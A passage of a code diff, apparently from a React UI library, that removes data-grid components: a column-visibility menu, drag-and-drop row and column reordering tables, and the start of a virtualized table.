function DataGridColumnVisibility<TData>({
|
||||
table,
|
||||
trigger,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
trigger: ReactElement<Record<string, unknown>>
|
||||
}) {
|
||||
return (
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger render={trigger} />
|
||||
<DropdownMenuContent align="end" className="min-w-[150px]">
|
||||
<DropdownMenuGroup>
|
||||
<DropdownMenuLabel className="font-medium">
|
||||
Toggle Columns
|
||||
</DropdownMenuLabel>
|
||||
{table
|
||||
.getAllColumns()
|
||||
.filter((column) => column.getCanHide())
|
||||
.map((column) => {
|
||||
return (
|
||||
<DropdownMenuCheckboxItem
|
||||
key={column.id}
|
||||
className="capitalize"
|
||||
checked={column.getIsVisible()}
|
||||
onSelect={(event) => event.preventDefault()}
|
||||
onCheckedChange={(value) => column.toggleVisibility(!!value)}
|
||||
>
|
||||
{getColumnHeaderLabel(column)}
|
||||
</DropdownMenuCheckboxItem>
|
||||
)
|
||||
})}
|
||||
</DropdownMenuGroup>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
)
|
||||
}
|
||||
|
||||
export { DataGridColumnVisibility }
|
||||
@@ -1,347 +0,0 @@
|
||||
"use client"
|
||||
"use no memo"
|
||||
|
||||
import {
|
||||
createContext,
|
||||
CSSProperties,
|
||||
memo,
|
||||
ReactNode,
|
||||
useContext,
|
||||
useEffect,
|
||||
useId,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
} from "react"
|
||||
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
|
||||
import {
|
||||
DataGridTableBase,
|
||||
DataGridTableBody,
|
||||
DataGridTableBodyRow,
|
||||
DataGridTableBodyRowCell,
|
||||
DataGridTableBodyRowExpandded,
|
||||
DataGridTableBodyRowSkeleton,
|
||||
DataGridTableBodyRowSkeletonCell,
|
||||
DataGridTableEmpty,
|
||||
DataGridTableFillBodyCell,
|
||||
DataGridTableFillHeadCell,
|
||||
DataGridTableFoot,
|
||||
DataGridTableHead,
|
||||
DataGridTableHeadRow,
|
||||
DataGridTableHeadRowCell,
|
||||
DataGridTableHeadRowCellResize,
|
||||
DataGridTableRowSpacer,
|
||||
DataGridTableViewport,
|
||||
} from "@/components/reui/data-grid/data-grid-table"
|
||||
import {
|
||||
closestCenter,
|
||||
DndContext,
|
||||
KeyboardSensor,
|
||||
MouseSensor,
|
||||
TouchSensor,
|
||||
UniqueIdentifier,
|
||||
useSensor,
|
||||
useSensors,
|
||||
type DragEndEvent,
|
||||
type Modifier,
|
||||
} from "@dnd-kit/core"
|
||||
import { restrictToVerticalAxis } from "@dnd-kit/modifiers"
|
||||
import {
|
||||
SortableContext,
|
||||
sortableKeyboardCoordinates,
|
||||
useSortable,
|
||||
verticalListSortingStrategy,
|
||||
} from "@dnd-kit/sortable"
|
||||
import { CSS } from "@dnd-kit/utilities"
|
||||
import {
|
||||
Cell,
|
||||
flexRender,
|
||||
HeaderGroup,
|
||||
Row,
|
||||
Table,
|
||||
} from "@tanstack/react-table"
|
||||
|
||||
import { cn } from "@evofw/ui/lib/utils"
|
||||
import { Button } from "@evofw/ui/components/button"
|
||||
import { GripHorizontalIcon } from "lucide-react"
|
||||
|
||||
// Context to share sortable listeners from row to handle
|
||||
type SortableContextValue = ReturnType<typeof useSortable>
|
||||
const SortableRowContext = createContext<Pick<
|
||||
SortableContextValue,
|
||||
"attributes" | "listeners"
|
||||
> | null>(null)
|
||||
|
||||
function DataGridTableDndRowHandle({ className }: { className?: string }) {
|
||||
const context = useContext(SortableRowContext)
|
||||
|
||||
if (!context) {
|
||||
// Fallback if context is not available (shouldn't happen in normal usage)
|
||||
return (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
className={cn(
|
||||
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
|
||||
className
|
||||
)}
|
||||
aria-label="Drag to reorder row"
|
||||
disabled
|
||||
>
|
||||
<GripHorizontalIcon aria-hidden="true" />
|
||||
</Button>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon-sm"
|
||||
className={cn(
|
||||
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
|
||||
className
|
||||
)}
|
||||
aria-label="Drag to reorder row"
|
||||
{...context.attributes}
|
||||
{...context.listeners}
|
||||
>
|
||||
<GripHorizontalIcon aria-hidden="true" />
|
||||
</Button>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableDndRow<TData>({ row }: { row: Row<TData> }) {
|
||||
const {
|
||||
transform,
|
||||
transition,
|
||||
setNodeRef,
|
||||
isDragging,
|
||||
attributes,
|
||||
listeners,
|
||||
} = useSortable({
|
||||
id: row.id,
|
||||
})
|
||||
|
||||
const style: CSSProperties = {
|
||||
transform: CSS.Transform.toString(transform),
|
||||
transition: transition,
|
||||
opacity: isDragging ? 0.8 : 1,
|
||||
zIndex: isDragging ? 1 : 0,
|
||||
position: "relative",
|
||||
cursor: isDragging ? "grabbing" : undefined,
|
||||
}
|
||||
|
||||
return (
|
||||
<SortableRowContext.Provider value={{ attributes, listeners }}>
|
||||
<DataGridTableBodyRow row={row} dndRef={setNodeRef} dndStyle={style}>
|
||||
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => {
|
||||
return (
|
||||
<DataGridTableBodyRowCell cell={cell} key={cell.id}>
|
||||
{flexRender(cell.column.columnDef.cell, cell.getContext())}
|
||||
</DataGridTableBodyRowCell>
|
||||
)
|
||||
})}
|
||||
<DataGridTableFillBodyCell />
|
||||
</DataGridTableBodyRow>
|
||||
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
|
||||
</SortableRowContext.Provider>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableDndRowsBody<TData>({
|
||||
table,
|
||||
dataIds,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
dataIds: UniqueIdentifier[]
|
||||
}) {
|
||||
const { isLoading, props } = useDataGrid()
|
||||
const pagination = table.getState().pagination
|
||||
|
||||
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
|
||||
return (
|
||||
<>
|
||||
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
|
||||
<DataGridTableBodyRowSkeleton key={rowIndex}>
|
||||
{table.getVisibleFlatColumns().map((column, colIndex) => {
|
||||
return (
|
||||
<DataGridTableBodyRowSkeletonCell
|
||||
column={column}
|
||||
key={colIndex}
|
||||
>
|
||||
{column.columnDef.meta?.skeleton}
|
||||
</DataGridTableBodyRowSkeletonCell>
|
||||
)
|
||||
})}
|
||||
<DataGridTableFillBodyCell />
|
||||
</DataGridTableBodyRowSkeleton>
|
||||
))}
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
||||
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
|
||||
|
||||
return (
|
||||
<SortableContext items={dataIds} strategy={verticalListSortingStrategy}>
|
||||
{table.getRowModel().rows.map((row: Row<TData>) => {
|
||||
return <DataGridTableDndRow row={row} key={row.id} />
|
||||
})}
|
||||
</SortableContext>
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Memoized body rows: skip re-renders during active column resize.
|
||||
* Column widths update via CSS variables on the <table> element,
|
||||
* so the browser handles width changes without React re-renders.
|
||||
*/
|
||||
const MemoizedDataGridTableDndRowsBody = memo(
|
||||
DataGridTableDndRowsBody,
|
||||
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
|
||||
) as typeof DataGridTableDndRowsBody
|
||||
|
||||
function DataGridTableDndRows<TData>({
|
||||
handleDragEnd,
|
||||
dataIds,
|
||||
footerContent,
|
||||
}: {
|
||||
handleDragEnd: (event: DragEndEvent) => void
|
||||
dataIds: UniqueIdentifier[]
|
||||
footerContent?: ReactNode
|
||||
}) {
|
||||
const { table, props } = useDataGrid()
|
||||
const tableContainerRef = useRef<HTMLDivElement>(null)
|
||||
const [isDraggingRow, setIsDraggingRow] = useState(false)
|
||||
|
||||
const sensors = useSensors(
|
||||
useSensor(MouseSensor, {}),
|
||||
useSensor(TouchSensor, {}),
|
||||
// Keyboard reordering moves one sortable position per keypress instead
|
||||
// of the sensor's raw 25px default.
|
||||
useSensor(KeyboardSensor, {
|
||||
coordinateGetter: sortableKeyboardCoordinates,
|
||||
})
|
||||
)
|
||||
|
||||
useEffect(() => {
|
||||
if (!isDraggingRow) return
|
||||
|
||||
const { body, documentElement } = document
|
||||
const previousBodyCursor = body.style.cursor
|
||||
const previousDocumentCursor = documentElement.style.cursor
|
||||
|
||||
body.style.cursor = "grabbing"
|
||||
documentElement.style.cursor = "grabbing"
|
||||
|
||||
return () => {
|
||||
body.style.cursor = previousBodyCursor
|
||||
documentElement.style.cursor = previousDocumentCursor
|
||||
}
|
||||
}, [isDraggingRow])
|
||||
|
||||
const modifiers = useMemo(() => {
|
||||
const restrictToTableContainer: Modifier = ({
|
||||
transform,
|
||||
draggingNodeRect,
|
||||
}) => {
|
||||
if (!tableContainerRef.current || !draggingNodeRect) {
|
||||
return transform
|
||||
}
|
||||
|
||||
const containerRect = tableContainerRef.current.getBoundingClientRect()
|
||||
const { x, y } = transform
|
||||
|
||||
const minX = containerRect.left - draggingNodeRect.left
|
||||
const maxX = containerRect.right - draggingNodeRect.right
|
||||
const minY = containerRect.top - draggingNodeRect.top
|
||||
const maxY = containerRect.bottom - draggingNodeRect.bottom
|
||||
|
||||
return {
|
||||
...transform,
|
||||
x: Math.max(minX, Math.min(maxX, x)),
|
||||
y: Math.max(minY, Math.min(maxY, y)),
|
||||
}
|
||||
}
|
||||
|
||||
return [restrictToVerticalAxis, restrictToTableContainer]
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<DndContext
|
||||
id={useId()}
|
||||
collisionDetection={closestCenter}
|
||||
modifiers={modifiers}
|
||||
onDragCancel={() => setIsDraggingRow(false)}
|
||||
onDragEnd={(event) => {
|
||||
setIsDraggingRow(false)
|
||||
handleDragEnd(event)
|
||||
}}
|
||||
onDragStart={() => setIsDraggingRow(true)}
|
||||
sensors={sensors}
|
||||
>
|
||||
<DataGridTableViewport
|
||||
viewportRef={tableContainerRef}
|
||||
className={
|
||||
isDraggingRow
|
||||
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
|
||||
: "relative"
|
||||
}
|
||||
>
|
||||
<DataGridTableBase>
|
||||
<DataGridTableHead>
|
||||
{table
|
||||
.getHeaderGroups()
|
||||
.map((headerGroup: HeaderGroup<TData>, index) => {
|
||||
return (
|
||||
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
|
||||
{headerGroup.headers.map((header, index) => {
|
||||
const { column } = header
|
||||
|
||||
return (
|
||||
<DataGridTableHeadRowCell header={header} key={index}>
|
||||
{header.isPlaceholder ? null : props.tableLayout
|
||||
?.columnsResizable && column.getCanResize() ? (
|
||||
<div className="truncate">
|
||||
{flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext()
|
||||
)}
|
||||
</div>
|
||||
) : (
|
||||
flexRender(
|
||||
header.column.columnDef.header,
|
||||
header.getContext()
|
||||
)
|
||||
)}
|
||||
{props.tableLayout?.columnsResizable &&
|
||||
column.getCanResize() && (
|
||||
<DataGridTableHeadRowCellResize header={header} />
|
||||
)}
|
||||
</DataGridTableHeadRowCell>
|
||||
)
|
||||
})}
|
||||
<DataGridTableFillHeadCell />
|
||||
</DataGridTableHeadRow>
|
||||
)
|
||||
})}
|
||||
</DataGridTableHead>
|
||||
|
||||
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
|
||||
<DataGridTableRowSpacer />
|
||||
)}
|
||||
|
||||
<DataGridTableBody>
|
||||
<MemoizedDataGridTableDndRowsBody table={table} dataIds={dataIds} />
|
||||
</DataGridTableBody>
|
||||
|
||||
{footerContent && (
|
||||
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
|
||||
)}
|
||||
</DataGridTableBase>
|
||||
</DataGridTableViewport>
|
||||
</DndContext>
|
||||
)
|
||||
}
|
||||
|
||||
export { DataGridTableDndRowHandle, DataGridTableDndRows }
|
||||
@@ -1,349 +0,0 @@
|
||||
"use no memo"
|
||||
|
||||
import {
|
||||
CSSProperties,
|
||||
Fragment,
|
||||
memo,
|
||||
ReactNode,
|
||||
useEffect,
|
||||
useId,
|
||||
useMemo,
|
||||
useRef,
|
||||
useState,
|
||||
} from "react"
|
||||
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
|
||||
import {
|
||||
DataGridTableBase,
|
||||
DataGridTableBody,
|
||||
DataGridTableBodyRow,
|
||||
DataGridTableBodyRowCell,
|
||||
DataGridTableBodyRowExpandded,
|
||||
DataGridTableBodyRowSkeleton,
|
||||
DataGridTableBodyRowSkeletonCell,
|
||||
DataGridTableEmpty,
|
||||
DataGridTableFillBodyCell,
|
||||
DataGridTableFillHeadCell,
|
||||
DataGridTableFoot,
|
||||
DataGridTableHead,
|
||||
DataGridTableHeadRow,
|
||||
DataGridTableHeadRowCell,
|
||||
DataGridTableHeadRowCellResize,
|
||||
DataGridTableRowSpacer,
|
||||
DataGridTableViewport,
|
||||
} from "@/components/reui/data-grid/data-grid-table"
|
||||
import {
|
||||
closestCenter,
|
||||
DndContext,
|
||||
KeyboardSensor,
|
||||
Modifier,
|
||||
MouseSensor,
|
||||
TouchSensor,
|
||||
useSensor,
|
||||
useSensors,
|
||||
type DragEndEvent,
|
||||
} from "@dnd-kit/core"
|
||||
import {
|
||||
horizontalListSortingStrategy,
|
||||
SortableContext,
|
||||
sortableKeyboardCoordinates,
|
||||
useSortable,
|
||||
} from "@dnd-kit/sortable"
|
||||
import { CSS } from "@dnd-kit/utilities"
|
||||
import {
|
||||
Cell,
|
||||
flexRender,
|
||||
Header,
|
||||
HeaderGroup,
|
||||
Row,
|
||||
Table,
|
||||
} from "@tanstack/react-table"
|
||||
|
||||
import { Button } from "@evofw/ui/components/button"
|
||||
import { GripVerticalIcon } from "lucide-react"
|
||||
|
||||
function DataGridTableDndHeader<TData>({
|
||||
header,
|
||||
}: {
|
||||
header: Header<TData, unknown>
|
||||
}) {
|
||||
const { props } = useDataGrid()
|
||||
const { column } = header
|
||||
|
||||
// Check if column ordering is enabled for this column
|
||||
const canOrder =
|
||||
(column.columnDef as { enableColumnOrdering?: boolean })
|
||||
.enableColumnOrdering !== false
|
||||
|
||||
const {
|
||||
attributes,
|
||||
isDragging,
|
||||
listeners,
|
||||
setNodeRef,
|
||||
transform,
|
||||
transition,
|
||||
} = useSortable({
|
||||
id: header.column.id,
|
||||
})
|
||||
|
||||
const style: CSSProperties = {
|
||||
opacity: isDragging ? 0.8 : 1,
|
||||
position: "relative",
|
||||
transform: CSS.Translate.toString(transform),
|
||||
transition,
|
||||
cursor: isDragging ? "grabbing" : undefined,
|
||||
whiteSpace: "nowrap",
|
||||
width: props.tableLayout?.columnsResizable
|
||||
? `calc(var(--header-${header.id}-size) * 1px)`
|
||||
: header.column.getSize(),
|
||||
zIndex: isDragging ? 1 : 0,
|
||||
}
|
||||
|
||||
return (
|
||||
<DataGridTableHeadRowCell
|
||||
header={header}
|
||||
dndStyle={style}
|
||||
dndRef={setNodeRef}
|
||||
>
|
||||
<div className="flex items-center justify-start gap-0.5">
|
||||
{canOrder && (
|
||||
<Button
|
||||
size="icon-sm"
|
||||
variant="ghost"
|
||||
className={`-ms-2 size-6 ${isDragging ? "cursor-grabbing" : "cursor-grab active:cursor-grabbing"}`}
|
||||
{...attributes}
|
||||
{...listeners}
|
||||
aria-label="Drag to reorder"
|
||||
>
|
||||
<GripVerticalIcon className="opacity-60 hover:opacity-100" aria-hidden="true" />
|
||||
</Button>
|
||||
)}
|
||||
<div className="grow">
|
||||
{header.isPlaceholder
|
||||
? null
|
||||
: flexRender(header.column.columnDef.header, header.getContext())}
|
||||
</div>
|
||||
{props.tableLayout?.columnsResizable && column.getCanResize() && (
|
||||
<DataGridTableHeadRowCellResize header={header} />
|
||||
)}
|
||||
</div>
|
||||
</DataGridTableHeadRowCell>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableDndCell<TData>({ cell }: { cell: Cell<TData, unknown> }) {
|
||||
const { props } = useDataGrid()
|
||||
const { isDragging, setNodeRef, transform, transition } = useSortable({
|
||||
id: cell.column.id,
|
||||
})
|
||||
|
||||
const style: CSSProperties = {
|
||||
opacity: isDragging ? 0.8 : 1,
|
||||
position: "relative",
|
||||
transform: CSS.Translate.toString(transform),
|
||||
transition,
|
||||
cursor: isDragging ? "grabbing" : undefined,
|
||||
width: props.tableLayout?.columnsResizable
|
||||
? `calc(var(--col-${cell.column.id}-size) * 1px)`
|
||||
: cell.column.getSize(),
|
||||
zIndex: isDragging ? 1 : 0,
|
||||
}
|
||||
|
||||
return (
|
||||
<DataGridTableBodyRowCell cell={cell} dndStyle={style} dndRef={setNodeRef}>
|
||||
{flexRender(cell.column.columnDef.cell, cell.getContext())}
|
||||
</DataGridTableBodyRowCell>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableDndBodyRows<TData>({ table }: { table: Table<TData> }) {
|
||||
const { isLoading, props } = useDataGrid()
|
||||
const pagination = table.getState().pagination
|
||||
|
||||
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
|
||||
return (
|
||||
<>
|
||||
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
|
||||
<DataGridTableBodyRowSkeleton key={rowIndex}>
|
||||
{table.getVisibleFlatColumns().map((column, colIndex) => {
|
||||
return (
|
||||
<DataGridTableBodyRowSkeletonCell
|
||||
column={column}
|
||||
key={colIndex}
|
||||
>
|
||||
{column.columnDef.meta?.skeleton}
|
||||
</DataGridTableBodyRowSkeletonCell>
|
||||
)
|
||||
})}
|
||||
<DataGridTableFillBodyCell />
|
||||
</DataGridTableBodyRowSkeleton>
|
||||
))}
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
||||
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
|
||||
|
||||
return (
|
||||
<>
|
||||
{table.getRowModel().rows.map((row: Row<TData>) => {
|
||||
return (
|
||||
<Fragment key={row.id}>
|
||||
<DataGridTableBodyRow row={row}>
|
||||
<SortableContext
|
||||
items={table.getState().columnOrder}
|
||||
strategy={horizontalListSortingStrategy}
|
||||
>
|
||||
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => (
|
||||
<DataGridTableDndCell cell={cell} key={cell.id} />
|
||||
))}
|
||||
</SortableContext>
|
||||
<DataGridTableFillBodyCell />
|
||||
</DataGridTableBodyRow>
|
||||
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
|
||||
</Fragment>
|
||||
)
|
||||
})}
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Memoized body rows: skip re-renders during active column resize.
|
||||
* Column widths update via CSS variables on the <table> element,
|
||||
* so the browser handles width changes without React re-renders.
|
||||
*/
|
||||
const MemoizedDataGridTableDndBodyRows = memo(
|
||||
DataGridTableDndBodyRows,
|
||||
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
|
||||
) as typeof DataGridTableDndBodyRows
|
||||
|
||||
function DataGridTableDnd<TData>({
|
||||
handleDragEnd,
|
||||
footerContent,
|
||||
}: {
|
||||
handleDragEnd: (event: DragEndEvent) => void
|
||||
footerContent?: ReactNode
|
||||
}) {
|
||||
const { table, props } = useDataGrid()
|
||||
const containerRef = useRef<HTMLDivElement>(null)
|
||||
const [isDraggingColumn, setIsDraggingColumn] = useState(false)
|
||||
|
||||
const sensors = useSensors(
|
||||
useSensor(MouseSensor, {}),
|
||||
useSensor(TouchSensor, {}),
|
||||
// Keyboard reordering moves one sortable position per keypress instead
|
||||
// of the sensor's raw 25px default.
|
||||
useSensor(KeyboardSensor, {
|
||||
coordinateGetter: sortableKeyboardCoordinates,
|
||||
})
|
||||
)
|
||||
|
||||
useEffect(() => {
|
||||
if (!isDraggingColumn) return
|
||||
|
||||
const { body, documentElement } = document
|
||||
const previousBodyCursor = body.style.cursor
|
||||
const previousDocumentCursor = documentElement.style.cursor
|
||||
|
||||
body.style.cursor = "grabbing"
|
||||
documentElement.style.cursor = "grabbing"
|
||||
|
||||
return () => {
|
||||
body.style.cursor = previousBodyCursor
|
||||
documentElement.style.cursor = previousDocumentCursor
|
||||
}
|
||||
}, [isDraggingColumn])
|
||||
|
||||
// Custom modifier to restrict dragging within table bounds with edge offset
|
||||
const modifiers = useMemo(() => {
|
||||
const restrictToTableBounds: Modifier = ({
|
||||
draggingNodeRect,
|
||||
transform,
|
||||
}) => {
|
||||
if (!draggingNodeRect || !containerRef.current) {
|
||||
return { ...transform, y: 0 }
|
||||
}
|
||||
|
||||
const containerRect = containerRef.current.getBoundingClientRect()
|
||||
const edgeOffset = 0
|
||||
|
||||
const minX = containerRect.left - draggingNodeRect.left - edgeOffset
|
||||
const maxX =
|
||||
containerRect.right -
|
||||
draggingNodeRect.left -
|
||||
draggingNodeRect.width +
|
||||
edgeOffset
|
||||
|
||||
return {
|
||||
...transform,
|
||||
x: Math.min(Math.max(transform.x, minX), maxX),
|
||||
y: 0, // Lock vertical movement
|
||||
}
|
||||
}
|
||||
|
||||
return [restrictToTableBounds]
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<DndContext
|
||||
collisionDetection={closestCenter}
|
||||
id={useId()}
|
||||
modifiers={modifiers}
|
||||
onDragCancel={() => setIsDraggingColumn(false)}
|
||||
onDragEnd={(event) => {
|
||||
setIsDraggingColumn(false)
|
||||
handleDragEnd(event)
|
||||
}}
|
||||
onDragStart={() => setIsDraggingColumn(true)}
|
||||
sensors={sensors}
|
||||
>
|
||||
<DataGridTableViewport
|
||||
viewportRef={containerRef}
|
||||
className={
|
||||
isDraggingColumn
|
||||
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
|
||||
: "relative"
|
||||
}
|
||||
>
|
||||
<DataGridTableBase>
|
||||
<DataGridTableHead>
|
||||
{table
|
||||
.getHeaderGroups()
|
||||
.map((headerGroup: HeaderGroup<TData>, index) => {
|
||||
return (
|
||||
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
|
||||
<SortableContext
|
||||
items={table.getState().columnOrder}
|
||||
strategy={horizontalListSortingStrategy}
|
||||
>
|
||||
{headerGroup.headers.map((header) => (
|
||||
<DataGridTableDndHeader
|
||||
header={header}
|
||||
key={header.id}
|
||||
/>
|
||||
))}
|
||||
</SortableContext>
|
||||
<DataGridTableFillHeadCell />
|
||||
</DataGridTableHeadRow>
|
||||
)
|
||||
})}
|
||||
</DataGridTableHead>
|
||||
|
||||
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
|
||||
<DataGridTableRowSpacer />
|
||||
)}
|
||||
|
||||
<DataGridTableBody>
|
||||
<MemoizedDataGridTableDndBodyRows table={table} />
|
||||
</DataGridTableBody>
|
||||
|
||||
{footerContent && (
|
||||
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
|
||||
)}
|
||||
</DataGridTableBase>
|
||||
</DataGridTableViewport>
|
||||
</DndContext>
|
||||
)
|
||||
}
|
||||
|
||||
export { DataGridTableDnd }
|
||||
@@ -1,634 +0,0 @@
|
||||
"use client"
|
||||
"use no memo"
|
||||
|
||||
import {
|
||||
CSSProperties,
|
||||
memo,
|
||||
ReactNode,
|
||||
useCallback,
|
||||
useEffect,
|
||||
useRef,
|
||||
useState,
|
||||
} from "react"
|
||||
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
|
||||
import {
|
||||
DataGridTableBase,
|
||||
DataGridTableBody,
|
||||
DataGridTableEmpty,
|
||||
DataGridTableFillBodyCell,
|
||||
DataGridTableFillHeadCell,
|
||||
DataGridTableFoot,
|
||||
DataGridTableHead,
|
||||
DataGridTableHeadRow,
|
||||
DataGridTableHeadRowCell,
|
||||
DataGridTableHeadRowCellResize,
|
||||
DataGridTableRenderedRow,
|
||||
DataGridTableRowSpacer,
|
||||
DataGridTableViewport,
|
||||
getDataGridScrollAreaViewport,
|
||||
getDataGridTableMergedHeaderGroups,
|
||||
getDataGridTableRowSections,
|
||||
getPinningStyles,
|
||||
hasDataGridTableRightPinnedColumns,
|
||||
} from "@/components/reui/data-grid/data-grid-table"
|
||||
import { Column, flexRender, Row, Table } from "@tanstack/react-table"
|
||||
import {
|
||||
useVirtualizer,
|
||||
VirtualItem,
|
||||
Virtualizer,
|
||||
VirtualizerOptions,
|
||||
} from "@tanstack/react-virtual"
|
||||
|
||||
import { cn } from "@evofw/ui/lib/utils"
|
||||
import { Spinner } from "@evofw/ui/components/spinner"
|
||||
|
||||
type DataGridTableVirtualScrollElements = {
|
||||
containerElement: HTMLDivElement | null
|
||||
scrollElement: HTMLElement | null
|
||||
}
|
||||
|
||||
type DataGridTableVirtualizerInstance = Virtualizer<
|
||||
HTMLElement,
|
||||
HTMLTableRowElement
|
||||
>
|
||||
|
||||
type DataGridTableVirtualizerOptions<TData> = Omit<
|
||||
VirtualizerOptions<HTMLElement, HTMLTableRowElement>,
|
||||
"count" | "estimateSize" | "getItemKey" | "getScrollElement"
|
||||
> & {
|
||||
estimateSize?: (index: number, row: Row<TData>) => number
|
||||
getItemKey?: (index: number, row: Row<TData>) => string | number
|
||||
getScrollElement?: (
|
||||
elements: DataGridTableVirtualScrollElements
|
||||
) => HTMLElement | null
|
||||
}
|
||||
|
||||
interface DataGridTableVirtualProps<TData> {
|
||||
height?: number | string
|
||||
estimateSize?: number
|
||||
overscan?: number
|
||||
footerContent?: ReactNode
|
||||
renderHeader?: boolean
|
||||
onFetchMore?: () => void
|
||||
isFetchingMore?: boolean
|
||||
hasMore?: boolean
|
||||
fetchMoreOffset?: number
|
||||
virtualizerOptions?: DataGridTableVirtualizerOptions<TData>
|
||||
}
|
||||
|
||||
interface VirtualBodyProps<TData> {
|
||||
table: Table<TData>
|
||||
topRows: Row<TData>[]
|
||||
centerRows: Row<TData>[]
|
||||
bottomRows: Row<TData>[]
|
||||
virtualItems: VirtualItem[]
|
||||
totalSize: number
|
||||
isVirtualizationEnabled: boolean
|
||||
isInfiniteMode: boolean
|
||||
isFetchingMore: boolean
|
||||
hasMore?: boolean
|
||||
loadingMoreMessage: ReactNode
|
||||
allRowsLoadedMessage: ReactNode
|
||||
measureRowRef?: (element: HTMLTableRowElement | null) => void
|
||||
}
|
||||
|
||||
function DataGridTableVirtualPinnedPlaceholderCell<TData>({
|
||||
column,
|
||||
}: {
|
||||
column: Column<TData>
|
||||
}) {
|
||||
const { props } = useDataGrid()
|
||||
const isPinned = column.getIsPinned()
|
||||
const isLastLeftPinned = isPinned === "left" && column.getIsLastColumn("left")
|
||||
const isFirstRightPinned =
|
||||
isPinned === "right" && column.getIsFirstColumn("right")
|
||||
|
||||
return (
|
||||
<td
|
||||
aria-hidden="true"
|
||||
style={{
|
||||
...(props.tableLayout?.columnsPinnable &&
|
||||
column.getCanPin() &&
|
||||
getPinningStyles(column)),
|
||||
...(props.tableLayout?.columnsResizable && {
|
||||
width: `calc(var(--col-${column.id}-size) * 1px)`,
|
||||
}),
|
||||
}}
|
||||
data-pinned={isPinned || undefined}
|
||||
data-last-col={
|
||||
isLastLeftPinned ? "left" : isFirstRightPinned ? "right" : undefined
|
||||
}
|
||||
className={cn(
|
||||
"p-0",
|
||||
props.tableLayout?.cellBorder && "border-e",
|
||||
props.tableLayout?.columnsPinnable &&
|
||||
column.getCanPin() &&
|
||||
"data-pinned:bg-background data-pinned:isolate [&[data-pinned=left][data-last-col=left]]:shadow-[inset_-1px_0_0_0_var(--border)] [&[data-pinned=right][data-last-col=right]]:shadow-[inset_1px_0_0_0_var(--border)]"
|
||||
)}
|
||||
/>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableVirtualUtilityRow<TData>({
|
||||
table,
|
||||
children,
|
||||
centerCellClassName,
|
||||
centerCellStyle,
|
||||
rowClassName,
|
||||
ariaHidden,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
children: ReactNode
|
||||
centerCellClassName?: string
|
||||
centerCellStyle?: CSSProperties
|
||||
rowClassName?: string
|
||||
ariaHidden?: boolean
|
||||
}) {
|
||||
const { props } = useDataGrid()
|
||||
const leftVisibleColumns = table.getLeftVisibleLeafColumns()
|
||||
const centerVisibleColumns = table.getCenterVisibleLeafColumns()
|
||||
const rightVisibleColumns = table.getRightVisibleLeafColumns()
|
||||
const hasRightPinnedColumns = hasDataGridTableRightPinnedColumns(table)
|
||||
|
||||
return (
|
||||
<tr aria-hidden={ariaHidden || undefined} className={rowClassName}>
|
||||
{leftVisibleColumns.map((column) => (
|
||||
<DataGridTableVirtualPinnedPlaceholderCell
|
||||
column={column}
|
||||
key={column.id}
|
||||
/>
|
||||
))}
|
||||
<td
|
||||
colSpan={Math.max(centerVisibleColumns.length, 1)}
|
||||
className={centerCellClassName}
|
||||
style={centerCellStyle}
|
||||
>
|
||||
{children}
|
||||
</td>
|
||||
{props.tableLayout?.columnsResizable && hasRightPinnedColumns ? (
|
||||
<DataGridTableFillBodyCell />
|
||||
) : null}
|
||||
{rightVisibleColumns.map((column) => (
|
||||
<DataGridTableVirtualPinnedPlaceholderCell
|
||||
column={column}
|
||||
key={column.id}
|
||||
/>
|
||||
))}
|
||||
{props.tableLayout?.columnsResizable && !hasRightPinnedColumns ? (
|
||||
<DataGridTableFillBodyCell />
|
||||
) : null}
|
||||
</tr>
|
||||
)
|
||||
}
|
||||
|
||||
function DataGridTableVirtualSpacer<TData>({
|
||||
table,
|
||||
height,
|
||||
}: {
|
||||
table: Table<TData>
|
||||
height: number
|
||||
}) {
|
||||
if (height <= 0) return null
|
||||
|
||||
return (
|
||||
<DataGridTableVirtualUtilityRow
|
||||
table={table}
